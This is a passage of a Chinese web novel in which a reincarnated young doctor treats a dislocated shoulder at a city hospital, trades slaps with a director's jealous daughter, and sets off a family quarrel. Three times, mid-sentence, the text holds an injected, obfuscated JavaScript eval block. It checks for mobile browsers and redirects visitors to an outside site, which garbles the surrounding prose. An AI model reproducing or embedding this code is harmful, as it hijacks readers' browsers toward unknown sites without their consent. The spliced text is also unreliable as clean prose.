尤其是那一次老瞎子死了后两人把埋在山上,一起下山的时候正好被人撞见,第二天村里就有风言风语了,话传得很难听。为了大丫好,赵二蛋就有意与她拉开距离,即使见了面也极少说话,态度看着比以往生疏了不少。 虽然这两年两人话都没多说几句,但赵二蛋对大丫的感情一点也没变,是实打实的一点也不掺假。因此见赵婶子找来要他陪大丫去省城看病,二话不说就答应下来了,连工钱都忘了向主家讨要,立马拉着赵婶子匆匆赶回家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207938|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但原主不知道其中原因啊,还以为赵二蛋跟她生分了呢,为此暗地里伤心了很久。 赵二蛋呐呐解释:“村里那些老娘们没事就爱说些闲话,我怕影响到你,就……” “哦,”焦离拖长尾音,上下打量了赵二蛋一眼,见他脸色涨红坐立不安的模样,忍不住笑,想起原主为此曾经掉过的眼泪,似真似假的抱怨,“你应该早点告诉我的,我以为你讨厌我了,难过了很久。” “对不起。”赵二蛋低头道歉。 “嗯,我原谅你了。” 那个小姑娘若是此刻就站在这里,想来也是这么说的吧,毕竟她一向容易心软,对待眼前这个唯一的朋友总是特别宽容,从不会生他的气。 焦离笑盈盈地注视着赵二蛋,内心感受着这份因原主而产生的来自于赵二蛋的深厚情谊,用旧报纸卷成的纸筒敲了一记他的头,“好了好了。快坐好,我来教你认字。” “啊?”赵二蛋有些紧张。 “啊什么啊?想要进厂当工人就必须得会认字。我先教你写你的名字,今天你必须给我学会了。” “好、好的。”赵二蛋乖乖点头。 他心知自己再怎么学也比不上那些从学堂读出来的学生,像他这样不识字的大老粗,不要说进厂了,就是想在城里找一份正经的工作也难。不过他见焦离如此兴致勃勃,也不忍扫她的兴,于是她教什么他就学什么,努力记住这些对他来说像是天书一样的文字。 就这样两个人一个教一个学,又在医院呆了两天,焦离身体还没恢复好,常不常陷入昏睡,清醒的时间很少,连医生过来查房都不知道,也就一直没见到赵二蛋口中的医术好人也好的‘罗主任’。 在教赵二蛋认字的同时,焦离也在心里盘算着自己将来的工作,她的成分是富农子女的身份没跑了。以她的成分,铁定是进不了厂的,毕竟这年头工人阶级属于领导阶级,能进厂里的,都是要经过严格审查的,家庭成分政治面貌必须清白。她成分不行,进厂就别想了。 不能进厂,那医院能进么?医院的审查应当没有厂里严格吧? 焦离有点不确定,趁着小护士过来给她量体温血压的时候向她打听医院招不招人,以及招人的条件,一一问清楚了后露出灿烂的笑容,跟她道了谢。 医院确实在招人,但招人是有条件的,一是学历,二是经验。 这两样,焦离都没有。 所以,还得另外想办法。 坐在一旁的赵二蛋捏着刚买来一分钱一根的铅笔,等小护士走后悄悄问焦离:“大丫,你想留在这里工作?” “是啊,我想当一名医生。”焦离点了点头,叫他:“哥。” 这是焦离第一次喊他哥,而不是‘二蛋哥’。 她低头看向赵二蛋,眼里透着认真,“我不想回三河村了,我想留在城里。” “我不想再被打了。” “我也不想再受气了。” 闻言,赵二蛋心里瞬间泛起一股酸涩,他坚定道:“那就不回去!”他放下铅笔,摸了摸焦离的头,“我陪你。”他哪怕在城里打零工,也不能把大丫一个人丢下。 焦离笑了:“谢谢哥。” “以后再有人打你,一定要狠狠打回去,不要犹豫。”怕她在城里受欺负,赵二蛋认真叮嘱,“知道么?” “嗯,知道了。”焦离笑眯眯应了。 7. 第 7 章 要留在城里,那必须得找到一份正经的工作才行。赵二蛋心底下了决心,学习的劲头更足了,每天跟着焦离学认字,写字,一个字一个字跟着念,一笔一划都写得极认真。 接连被灌了好几天的药,焦离的身体也好了不少,第五天就可以下地走动了。一旦可以下床,焦离就躺不住了,开始在医院里到处溜达,这里看看那里瞧瞧的,眼里满是好奇。往来的医生病人就看见一个穿着病服的瘦得惊人的小姑娘扶着身边一个高大健壮的小伙子的手,在医院各个角落缓慢穿行。她走得很慢,也很小心,走一会歇一会。 显然,她的身体还没完全痊愈。 小姑娘很活泼灵动,见了谁都笑眯眯的,看着极为讨喜。旁边路过的人们也忍不住回以善意一笑,有医生轻声提醒她出来走动要适度,要是累了可以回病房歇歇。 “知道了,谢谢医生。” 焦离笑着道谢,走了那么久,她也有点累了,刚好前面就是急诊室等候区,有不少空椅,她走过去坐下,然后拍了拍旁边的椅子,“哥,我们坐一会吧,待会就回去。” “好。” 赵二蛋刚坐下,门诊大门就哗啦啦进来一群人,全都是灰头土脸的,他们抬着一个戴着眼镜的年轻人朝里面喊:“医生,我们这有人骨折了,赶紧来个人看看。” 出于医生本能,焦离腾的一下站了起来,在赵二蛋还没反应过来时就已经往前快走了几步,边走边喊:“让我看看。” 赵二蛋在后面叫了她一声:“大丫。” 焦离瞬间回神,脚步顿在原地。 糟了!刚才一时忘了自己已经不是春生堂的焦大夫而是三河村的刘大丫了。要命!她怎么会犯这种低级的错误! 然而已经来不及了,那几个工人打扮的年轻人已经看了过来。 嗯?一个穿着病服的——医生?这么年轻?!是医生么?是吧?!她都说让她看看了。 那就没错了! 于是,那几人毫不犹豫抬着伤患过来了。 焦离:“……” 赵二蛋赶紧过来,小声问她:“老瞎子也把他治骨折的医术教给你了?” “……教过一点点,”焦离伸出食指比了比那手指头,心虚地笑,“就一点点,不多。”说到这,她咬牙硬撑着补了一句,“但我没治过人——” 赵二蛋信了,拿话鼓励她:“这人和动物的骨头其实也差不多,你就帮看看,如果治不了就不治,这里有医生呢。如果能治好,”他扯了扯焦离的袖子,压低声音道,“你不是想进医院当医生么?现在就是个机会。别怕!” 闻言,焦离立马镇定下来,她会治骨折这件事,只要赵二蛋信的真真的,那她就不怕了。毕竟老瞎子已经死了,她只要死咬着她的医术都是老瞎子教的,又有赵二蛋作证,没人会怀疑自己。 即便有人去查,最后也查不出个所以然来。 想到这里,焦离胆子也大了起来,她示意那几个人把伤患放到座位上,“怎么伤的?”她一边问一边蹲下来,见他身上多处擦伤,手臂上有几道血痕,但不严重,看起来严重点的——焦离目光往上,伸手精准探向伤患扭曲得不正常的右肩膀。 年轻男人立马哀叫了一声,“医生轻点!疼!” 他虽然满面灰尘,但不难看出皮肤白皙,长得清秀斯文,一看就是家境优越的知识分子,没怎么受过苦。焦离还没怎么碰他呢,他就耐不住疼,剧痛令他疼得面目扭曲,满头冷汗。 这时,其他人把焦离和年轻男人围了起来,七嘴八舌开口了:“我们在西区郊区正抢修最后的电线呢,哪里知道那个地方还埋着一个没被发现的地雷。” 说着,那人一脸心有余悸,还伸手拍了拍站在他身边的一个年轻人的肩膀,夸道:“幸好岩青察觉到不对,提醒我们快跑,要不然大家都被炸飞了。好小子,真有你的!兄弟今天全靠你才捡回一条命啊。” 地雷???焦离忍不住飞快抬头看了那几人一眼,尤其是工人嘴里的那个救命恩人‘岩青’。 她好奇的目光瞬间落入一双内敛安静的黑眸里,两人对视,青年似乎有些意外,下意识微微弯唇朝她一笑,态度礼貌而温和。 他穿着灰色工装,身形挺拔修长,背脊挺直,明明是俊气清逸的长相却因他格外出挑的骨相而显出一种含蓄又锋利的气质,看起来英气逼人。 偷看被抓住了,焦离也没什么不好意思,大大方方对他回以一笑,便收回目光,心下却暗暗咋舌。地雷啊!那可是现代课本上讲过普通人却从没接触过的东西,这个年代、嗯,好吧。地下埋有地雷也是正常,毕竟这个时期刚结束战争才没多久。 这人怎么发现的?难道他上过战场?焦离在心里胡乱猜测,随即又感叹,这群工友还真是倒霉,在户外工作居然遇到了地雷,幸好没出什么事。 那几人也在庆幸,“对啊对啊。我们全都躲开了,就柳同志运气不好,跑到一半就摔倒了,肩膀抬不起来,也不知道是骨折了还是怎么样?医生,柳同志伤得严不严重啊?” 就在焦离给年轻男人检查肩膀时,罗秀映穿着一身白大褂从二楼下来了,她身后还跟着四五个年轻的医生,有男有女,手上都拿着纸笔。似乎注意到焦离那边的动静,罗秀映抬脚走了过来。 她一动,身后的人也跟着动。 而此时的焦离一点也没察觉,赵二蛋看见了却没吭声,眼里闪过一丝喜色,罗主任来了正好,要是大丫表现好被罗主任看中,大丫的工作就有着落了。 焦离给男人把了脉,又摸了摸他肩膀,心里一下子就有数了,头也不抬的回了工友的问话:“没事,脱臼了而已。” 焦离挥手示意周围的人散开点,别影响她发挥,然后低头问年轻男人,“看你的样子是大学生吧?叫什么名字?也是电厂的工人么?”她一边开口说话引他注意力,一边紧靠在他身后稳住他的身体,同时左手扶住他的肩部。 “是,”柳骄白只觉得疼得话都说不出来了,他咬牙隐忍,“我姓柳名骄白,上个月刚被分配到电厂工作。” “哪个学校的?读的什么专业啊?” “东华师大,读的是……” 就是现在! 焦离右手猛地握住柳骄白的右手肘以猝不及防的速度用力往内扳动,又突地一拉伸,离得近的人只听得骨头轻轻一声‘咔咔’响,柳骄白原本错位的肩膀关节立马恢复到原位。 “好了!”焦离浑身放松了下来,双手撑着椅背,她身体还没好全,刚才用了那么大力,现在只觉得全身都要脱力了,她拍了拍柳骄白的肩膀,“你动一动,看还疼不疼?” 治好了? 柳骄白小心翼翼的动了动肩膀,细细感受一下,是没刚才那么疼了,但余下的这点疼痛还是让他无法忍受。他眉头皱起,只觉得肩膀那处依旧很不舒服。 “还是很疼!医生你再帮我看看吧。”柳骄白开口。 “???”焦离有些疑惑,明明都治好了呀,她弯下腰,右手在他肩膀上摸索,左手搭在他手上,再次仔细检查。 没错啊。 她都给治好了! 就在这时,一个娇小可爱的姑娘面带焦急之色风一样从外面刮进来,匆匆一瞥之下,这一幕落入她眼中,就成了一幅暧昧不清的景象。她看见两人挨得极近,柳骄白一脸隐忍,疼得皱紧眉头,而那个陌生女人则站在他身后,一手在心上人的肩头揉捏个不停,另一只手拉着他的手不放。 霎时,小姑娘立即气炸了。 哪来的臭女人,居然敢对着骄白哥上下其手,纠缠不放,简直不要脸! 妒意与怒气瞬间飙升,她冲过去毫不犹豫朝焦离脸上扇了一巴掌,用力推开她大喝一声:“臭女人你放开骄白!” 突如其来的变故惊呆了在场众人。 “大丫!” “小柔!” 两道声音同时响起,千钧一发之际,赵二蛋扑过去抓住被推得克制不住身体惯性立马往后倒的焦离,恰好站在一旁的石岩青也立即伸手帮忙,而罗秀映则拉住还要不依不饶的焦柔呵斥一声,“小柔,你在干什么?谁让你打人的!” 与此同时,在焦离即将倒向地面的那一刹那,她的身体惊险万分的被人一左一右双双揽住了,避免了即将发生的惨剧。 这么大的力道,要是真倒在地上,焦离今天非得再进一回抢救室不可。 赵二蛋后怕的抓着焦离的手,急问:“大丫,你没事吧?” 石岩青也低头问:“小医生,你没事吧?” 在场其他人也纷纷开口询问,有的人一脸不赞成的看着突然出现的焦柔:“这位同志你怎么回事?怎么能无缘无故打人呢?” 周围一片乱糟糟的,赵二蛋和石岩青只见焦离缓慢的眨了一下眼睛,一脸懵懵然,“我、我没事。”然后下一刻,她仿佛惊醒了一般立马捂住脸,‘嘶’了一声,“不,我有事!我脸好疼!” 我被人打了一巴掌?! 居然被打了?! 还是一巴掌! 焦离出离愤怒了,她挣扎着起身,一副恨不得咬人的模样。 是谁?是谁打我的!站出来!简直是奇耻大辱!她从来没被人扇过巴掌! 而此时另一边。 “妈?你怎么在这?”看到罗秀映,焦柔依旧不依不饶,满脸不服气,“我打她怎么了?谁叫她勾引我心上人的。” “你心上人?谁?刚才那个坐在椅子上的小伙子?”罗秀映气道,“小同志那是给他治肩伤,你乱说什么?还不快给人家道歉。” “我不信!她就是在勾引骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207939|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白哥,我亲眼看见的还有假么?”焦柔嚷嚷道,“呸!不要脸!” 而造成这一切的祸首柳骄白当即站了起来,见罗秀映脸色难看,忙拉住焦柔解释道:“小柔,你真的弄错了。刚才医生是在给我治伤呢。” “真的么?”焦柔将信将疑,见自家妈气得脸色铁青,而心上人也肯定的点头,这才信了。 焦柔瞬间气弱了一瞬,心知自己理亏。但她骄纵任性惯了,此时心上人又在旁边,即便知道自己做错了,一时也拉不下脸来道歉,依然嘴硬:“治肩伤需要站那么近么?需要手拉手么?我看她就是看骄白长得好,存心的。” 罗秀映:“小柔!” “你!”在一边听到这话的赵二蛋瞬间怒了,他霍然起身,指着焦柔气道:“你别乱说!什么手拉手,那是在诊脉,你眼瞎看不见啊?” “你才眼瞎!”焦柔瞪着他,毫不客气,“谁知道她是真的在诊脉还是在趁机占人便宜!” “你这人还讲不讲理了?大丫好心帮你喜欢的人治伤,你不感激就算了,突然出手打了她,现在还胡乱造谣?!”赵二蛋难以置信。 周围众人也指指点点,窃窃私语。 “好心当作驴肝肺!小医生真冤啊。” “回头让厂里的姑娘离柳同志远一点,免得也被打。” “没事,咱们厂里的姑娘有的是力气,到时谁打谁还不一定呢。” 柳骄白些尴尬,出声制止:“小柔,你别乱说。小医生不是那样的人。” 焦离真的要被气笑了!怎么不管哪个年代,都有人哄抬猪价啊! 她扶着石岩青的手臂站起身,冷笑:“你当全天下的女人都跟你一样,都把你心上人当宝啊?脑子有病就去治,别出来丢人现眼。”哪里来的娇妻恋爱脑?整个一智障!“一个大男人,一点小伤就哎呀呀痛叫,也就你这样的脑残才会喜欢。”神经病! 焦柔瞪大眼:“你竟敢骂我!” “小柔!”罗秀映冷下脸厉声呵斥,“你给我闭嘴!” 焦柔喊她:“妈!”语气含着一丝委屈。 罗秀映不理她,转过身来面向焦离,对她道歉:“小同志对不起,小柔刚才没搞清楚状况,一时情急才打了你,实在抱歉。” 直到这时,焦离才看清罗秀映的模样。 她三十五岁上下,肤色偏黑,留着齐耳短发,整个人飒爽利落。此时的她一脸歉意,态度诚恳。 一见到她,焦离目光有一瞬间的愣神,她就是罗主任?怎么长得和自家妈有七八分像呢。 焦离在镜子里见过自己现在的模样,很奇怪,她居然和原主长得一模一样。就遗传基因来说,她如果和原主长得一样,那父母应该也都长得差不多吧。但还真不是,至少刘胜利和田招娣那两人长得和自家爸妈完全不一样,反倒是这个罗主任,若是留个长发再化个妆,踩高跟穿长裙,就能和自家妈像个十成十。 面对这张脸,焦离想起了自家那个已经过世好多年的亲妈,以及和她差不多前后脚一起离世的亲爸,心中倏地涌起一股强烈的思念与难过,原本翻腾的怒火陡然熄灭了一大半,悄然红了眼眶。 罗秀映还以为小姑娘被自家闺女欺负哭了,面上的表情愈发严厉。她回头看了焦柔一眼,一双原本偏圆的杏眼经过岁月的沉淀而凝练出的犀利目光,因为生气而显得愈发迫人。 一对上罗秀映的视线,焦柔心里一下子就慌了,完全不敢与她对视。 “小柔!过来跟小同志道歉。”罗秀映语气冷然。 焦柔知道自家妈真生气了,也没敢继续犟嘴,低着头走到罗秀映旁边。 她开口:“对——” “等等!”焦离打断她的话,她除了眼尾有些微红外,神情已经恢复过来,如同往日一般,令人看不出丝毫异样,她甚至笑了一下,“我不需要道歉。” 那个罗主任只是和自家妈长得像而已,她是眼前这个‘小柔’的妈妈,不是焦离的。而那个‘小柔’,是刚才莫名其妙打了她一巴掌的人。 焦离看了罗秀映一眼,脸上带笑,目光很平静。 罗秀映愣了一下:“小同志,这件事是小柔做的不对——” 啪! 一道响亮的巴掌声瞬间响起打断她的话,下一秒,焦柔捂着脸尖叫:“啊啊啊,你居然敢打我?” 此时此刻,周遭的氛围似乎都凝固了,四下一片寂静。 然而焦离却似没注意到,脸上笑盈盈的:“你能打我,我为什么不能打回去?” 唔,刚才没发挥好,打得不够用力! 焦离心里惋惜,面上却不显。 她捏了捏自己软绵绵的手掌,愉快的欣赏焦柔白皙脸蛋上清晰的巴掌印,“是不是很疼啊?疼就对了!活该!”哼!我可从来不受气的! 8. 第 8 章 焦柔捂着脸扑到罗秀映怀里,疼得直哭:“妈!她打我!我好疼呜呜呜呜……” 完全没料到焦离会来这么一出,罗秀映抱着自家闺女,罕见的说不出话来。 只见眼前的小姑娘无辜摊手,杏眼满是得逞的笑意:“不好意思啊罗主任,我就喜欢以牙还牙,不喜欢口头上的道歉。你女儿打了我一巴掌,我也还了她一巴掌,这下我俩扯平了。至于她推我的那一下,看在罗主任的面上,我就不跟她计较了。” 其实不是不想计较,只是焦离实在是没力气了,今天又是正骨又是打人的,她本就没恢复多少的精力已经被耗的一干二净,都快站不稳了。 说完,她转头朝赵二蛋道:“哥,我累了,背我回去吧。” 赵二蛋回过神,立马笑了:“哦,好的。” 他夸焦离:“打得好!” 此言一出,立即引来在场所有人侧目。 “我说过,我不会再受气了。”焦离狡黠一笑,略带得意道。 “嗯。” 赵二蛋也不管其他人怎么看,把焦离背在身后就稳步朝病房的方向走去,俩兄妹很快消失在众人面前。 石岩青望着拐角消失的人影,眼里不由露出一丝笑意。不知怎的,他莫名觉得那个小医生打人的样子,像极了被人踩了一下尾巴的小猫,即便伤痕累累虚弱至极,也气性大的没边,张牙舞爪的,明明都没力气了偏要跳起来挠人一下,不肯受一点委屈。 * 回到病房,赵二蛋小心翼翼的将焦离放到床上,见她的右脸已经肿的不成样子,忙找来湿毛巾一边给她敷脸一边懊恼道:“这事怪我,不该鼓动你去治那个小子,害你被那个女人打。” “是那个女人突然发疯,又不关你的事,怪你做什么。”焦离疼得龇牙咧嘴,仰着脸笑,“再说我也狠狠打回去了,你也看到了,她都被我打哭了。” 想起焦柔,赵二蛋就很生气:“那个女人简直蛮横不讲理,一身资产阶级大小姐的毛病。罗主任那样好的一个人,没想到她女儿居然会是这个样子。”说着忍不住叹口气,一脸忧心忡忡,“你打了她女儿,她心里肯定会对你有意见了。她是医院领导,得罪了她,军区医院恐怕不会招你了。” “不招就不招,我又不是非得进军区医院。省城还有其他医院呢,没了这家还有别家。”焦离不在意道。 但其实,她一没学历二没经验,家庭成分又不好,想要进医院当医生恐怕有点难。不过这年代也有很多职业可以选择,只要有心,总能找到一份好工作,她也不一定非得当医生。这条路行不通,那就走另一条路,没必要在路上死磕。 “明天我出去打听房子,顺道帮你问问其他医院,看他们招不招人。你老实待在病房里好好休息,别到处乱走动,等我回来再陪你出去散步。” “知道了。” * 晚上,焦宅。 焦柔躲在罗老太怀里,抽抽噎噎告状:“姥姥,那个女人太坏了,我都要道歉了她还要不依不饶,非要打我一巴掌才罢休。” “在哪?给姥姥看看。”罗老太抬起焦柔的脸,仔细看了看,果然有一道清晰的五指印,顿时心疼了,“哎哟,瞧瞧,脸都打肿了。疼不疼啊?” “疼!可疼可疼了。”焦柔撒娇道。 肿了? 罗姥爷也凑过来看,见只是有点红痕,提起的心顿时落下了。 他笑呵呵的,安慰焦柔:“没事没事,姥爷现在就去给你做一个消肿的药包,敷半个小时就能消肿了。”说着,他就拄着拐杖慢悠悠起身,去小药房配药了。 什么叫没事?孙女都被人打了还叫没事呐? 罗老太斜了罗姥爷的背影一眼,心里压着气:“那个女人是谁,跟姥姥说,姥姥给你出气。你妈也真是的,怎么不拦着点,任由你被别人打。” “是一个乡下来的土妞,她可粗鲁了,一点礼貌都没有。” 这话恰好被刚回到家的罗秀映听见了,她秀眉拧紧,斥道:“好好说话,什么乡下来的土妞?谁教你这样说人家的?要不是你不分青红皂白冲上去先打了她,她会打你么?”她目光落在闺女的脸上,见上面只有一点未消的红印,心下松了口气。 还好不严重。 与她前后脚到家的焦平安听了个尾音,不明所以,一边脱大衣一边问:“怎么回事?谁被谁打了?” 一见到焦平安,焦柔就哭着扑上去,抱住他的胳膊:“爸,你给我评评理。别人打我,妈不帮我就算了,还责骂我呜呜呜呜……” 闺女被打了? 焦平安面色一变,上下打量她一眼:“谁打的?打哪里了?让爸看看。” “右脸,”焦柔侧过脸给他看,神情委屈得不行,“那个土妞打人可疼了,我的脸现在还疼着呢。” 焦平安眉头皱了起来,看向妻子,“秀映,这是怎么一回事?好好的,闺女怎么会被人打了呢?” 有了爸爸撑腰,本来有些心虚的焦柔瞬间理直气壮了起来,丝毫不觉得自己有错,回想起下午发生在医院的事,她一脸愤怒:“妈妈当时也在,都不帮我,就只向着那个土妞。” 焦柔长这么大,第一次被人当众打了巴掌,心里难堪又委屈。 一说到这事,眼泪掉得更凶了。 罗秀映看了一眼不知悔改的焦柔,眉头拧得更紧了:“人家小姑娘好好的站在那里治疗伤患。她呢,一上来就给了人家一巴掌,还用力推了人小姑娘。”说着,她转向焦平安,“那小姑娘你也见过,就是前几日被你送来医院抢救的病患。她才醒过来没多久,身体还很虚弱呢。要不是她哥哥及时把人接住,你闺女恐怕今天就得被戴上镣铐带走了。” 是那个小姑娘? 闻言,焦平安面色严肃起来,他扯开焦柔,声音沉了下来:“小柔,你妈说的是不是实情?你对病人动手了?”而且还是个刚进过抢救室的病人,实在太不该了! “爸爸。”焦柔慌了,“我只是以为……以为她故意勾引骄白哥哥,我一时气不过才打了她的,我不是故意的。”她不服气的辩解道,“而且她也打了我!我们俩扯平了。” “再怎么样,也不该打病人!”焦平安训斥道。 焦柔哭得眼睛通红:“我真不是故意的。我又不知道她有病,要是知道,我绝不会动她一根手指头。” 焦柔觉得自己很委屈,她被人打了,爸妈不但不安慰自己,反而挨个把她批评了一遍。 她越想越难过,哭得愈发可怜了。 罗老太看得心疼,一把搂住焦柔,对罗秀映和焦平安不悦的道,“小柔不是说了么?她只是误会了,以为那姑娘勾引她喜欢的人呢。再说了,一个姑娘家,要是行为举止坦坦荡荡,作风正派,哪会如此轻易的让别人产生这样的误会。我看呐,这件事也不全是小柔一个人的错,那姑娘或许本就心术不正,这件事怪不得小柔。” 闻言,焦平安脸色彻底沉了下来,没这么教孩子的! 罗秀映也听不下去了,气道:“妈,你胡说什么?!那小姑娘和柳骄白八竿子都打不着,今天不过是出于好心给他正骨而已,哪里就心术不正了?要像你这样说,全天下的医生个个都心术不正,居心不良,都不用给病人瞧病了。 “妈,慎言。”焦平安对丈母娘冷下脸,“人家小姑娘清清白白,你怎么能随便毁人声誉?这件事小柔确实做错了,你若真为了她好,就不该一味偏袒,纵得她越发任性,是非不分。” 罗老太如遭雷击:“你、你是在指责我教坏了你闺女?” “妈,平安他不是这个意思。”罗秀映急忙辩解。 “不是这个意思是哪个意思?”罗老太伤心了,低头坐在沙发上抹泪,“好啊,我们给你们带了十几年的孩子,没有功劳也有苦劳,没想到人临老了还成老厌物了。” 罗秀映偷偷白了丈夫一眼,赶紧坐过去安慰罗老太:“妈,你说的是什么话?那些年我俩天南地北地跑着,平安打仗,我救人,忙得都顾不上家里。要不是有你和爸在后方帮我们照顾小柔,我们哪能安心上前线啊,你和我爸就是我们家的大功臣。平安一向是有什么就说什么,这次也是因为涉及到孩子,他担心小柔将来走错路,心里急了,话才重了点,心里却真没有那个意思。如今眼看日子好了起来,一家人好不容易团聚了,就别吵吵了,行不?” 说完,她给焦平安使眼色,快道歉! 焦平安闭眼捏了捏鼻梁,终是缓和了语气:“妈,刚才是我不对,您别生气。但今天这事确实是小柔不对在先,不能再由着她的性子来。” “您别插手。” 话说到这,老太太知道自己哭也没用了,她擦干眼泪,拉着焦柔的手不说话了。 对于焦柔,焦平安一向是宠爱但不溺爱,平日里对她严格要求。但老太太却不是,总是过分纵容,毫无底线原则。 一旦发生分歧,焦平安大多是退让的那一方。 今天却是个例外 焦平安心知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207940|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老太太不是不讲理的人,只是她把小柔从小带到大,对她溺爱惯了。一旦他稍微对焦柔严厉点,她就心疼得不行,舍不得孩子受委屈。也是基于这一点,焦平安平日里对老太太也多有忍让。 毕竟,他和秀映在闺女一事上,确实理亏。 当年焦平安为了躲避日寇追捕,辗转来到春城,掩藏身份在罗氏药铺当学徒,等待时机继续以身报国。也就是在那一年焦平安与罗氏药铺的东家小姐罗秀映相识、相知、相爱,两人没多久就喜结连理。 婚后不到一个月,罗秀映便有了身孕。 然而在罗秀映即将临盆时,焦平安为了营救几名战友不幸被日寇发现了踪迹,不得已带着妻子一路逃亡到泗水镇。然而敌人依旧穷追不舍,为了掩护已有生产迹象的妻子,焦平安引着敌人一路向前。 担心焦平安的安危,罗秀映在生下孩子后将她托付给三河村当地的农户,又托人给在省城的爹娘捎了口信,便硬拖着刚生产完的身体去找丈夫的下落。 等罗老太太和罗老爷子收到讯息赶到三河村时,也只带回了早产病弱的孙女,而女婿和女儿却不知所踪。 两个老人带着小孙女低调的回了省城,一边给孙女调养身体,一边悄悄打探闺女和女婿的消息,结果三年了,两人一点音讯也无。就在这档口,在省城盘踞的日本人似乎发现罗家的端倪,老爷子当机立断,立即给家里雇佣的长工们发了不菲的遣散费。然后简单收拾了行装,一把火点燃了罗府后,家产都不要了,连夜带着罗老太太和刚满三岁的孙女偷偷出城,投奔亲戚去了。 直到四年后,焦平安和罗秀映按着老爷子留下的线索找了过来,带着他们去了根据地大后方,一家人才算真正团聚。 只是到底因此错过了女儿的成长,夫妻俩对此心怀内疚,后来又因为忙于工作,与闺女聚少离多,一年见不了几次,更觉得亏欠。 焦平安尤甚,他从小是孤儿,吃百家饭长大,自然知道没爹没娘的苦楚。因此哪怕知道焦柔从小有祖父祖母在身边,七岁就被他们夫妻接回去,吃喝不愁,和他小时候不一样。他依然觉得自家闺女受苦了,愈发心疼,恨不得要星星不给月亮。 只是老太太对焦柔实在太过溺爱,不管是非对错总一味的偏袒着,焦平安担心闺女性子被养左了,不得不硬起心肠充当严父。 就如同此刻,他的目光落在焦柔身上,见她哭得满脸通红,心早就软了,但面上的表情依旧冷硬,“知道自己错在哪了么?” 焦柔很有眼色,见姥姥都被爸爸不留情面的教训了一顿,另一个大救星——姥爷现在还在药房慢吞吞地配药,就知道这个家没人帮她了,立马熟练低头承认错误。 “知道了。我不该不分青红皂白地打人,也不该明知有错却不愿承认,我以后要严格要求自己……” 焦柔宛若背书一样念出自我反省的台词,心里还是满满不服气。 可她也打了我一巴掌啊! 凭什么是我错了? 焦平安对自家闺女此时的心思一无所知,听完后神情缓和了很多,满意道:“回去写一份检讨书,明天交给我。” “是。” 虽然嘴上应了,但焦柔却很不高兴,她谁也不看,转身蹬蹬上楼…… * 第二天一早,焦离的病房来了个意想不到的人。 赫然是柳骄白。 一见到他,赵二蛋就没个好脸色:“是你?你来干什么?” 焦离昨晚又发起了高热,今早才退烧。赵二蛋昨晚怕她又无知无觉的晕了过去,睁着眼一宿没睡,熬得眼下青黑,满脸疲惫。 正要出门呢,不想迎面就碰见了柳骄白。 柳骄白面色有些尴尬:“我、我是来道谢的,还有赔罪。” 赔罪? 赵二蛋打量了他一眼,目光落在他手上提的那一堆东西。 还真是来赔罪的? 焦离身体不舒服,睡得不是很熟,迷糊间隐约听见门口有人声,不由睁开眼,侧头看过去,却见赵二蛋把门口挡得严严实实的,看不到其他人。 她哑声问:“哥,你在跟谁说话呢?” 一听到大丫的声音,赵二蛋侧身让了一下:“是昨天那个人。” 对上焦离的视线,柳骄白不禁推了推眼镜:“小医生,你好。” 见到来人,焦离立马来了兴趣。 这人是电厂的! 听说电厂的待遇也很好呢!不知道他们还招不招人。 9. 第 9 章 焦离扬起笑脸:“是、是……”她卡壳了一瞬,叫啥来着?好像是柳、柳什么,哎不想了,她态度很热情,“是柳同志吧?快进来坐啊,站在那里干甚么?” 赵二蛋:“???” “哥,你去食堂打点水回来,柳同志大老远跑来,肯定渴了。”焦离笑盈盈的,对柳骄白道,“不好意思啊,我们这儿没有茶叶,只能请你喝白开水了。” “没事没事不用忙,我不渴。”还以为会受到冷待的柳骄白有些受宠若惊。 接到焦离催促的眼神,赵二蛋:“……哦。” 等赵二蛋走了,进了病房后,柳骄白摆出歉然的姿态道:“昨天的事,全都在我,实在对不起。” 他道:“小柔她不是故意的,我代她向你道歉。” “啊?” 一提到昨天的事,感觉右脸又疼了,焦离笑容一滞,险些没绷住露出杀气腾腾的神情,那死丫头力气真大,她的脸现在还肿着呢。 她挤出假笑,言不由衷道:“没事没事。我当时也回敬了她一巴掌,我们俩互不相欠,用不着道歉。我已经不生气了。”才怪!她后悔昨天打轻了,再不济也该多打两巴掌,连本带利的讨回来。 不过—— 想到自己昨天被那个死丫头气得口不择言把眼前这人也一并骂了,焦离有些心虚,低头诚恳道歉道:“昨天的事我也该跟你说说一声抱歉。每个人对疼痛的耐受程度都不一样,我不该当众那样说你,实在对不起了。” 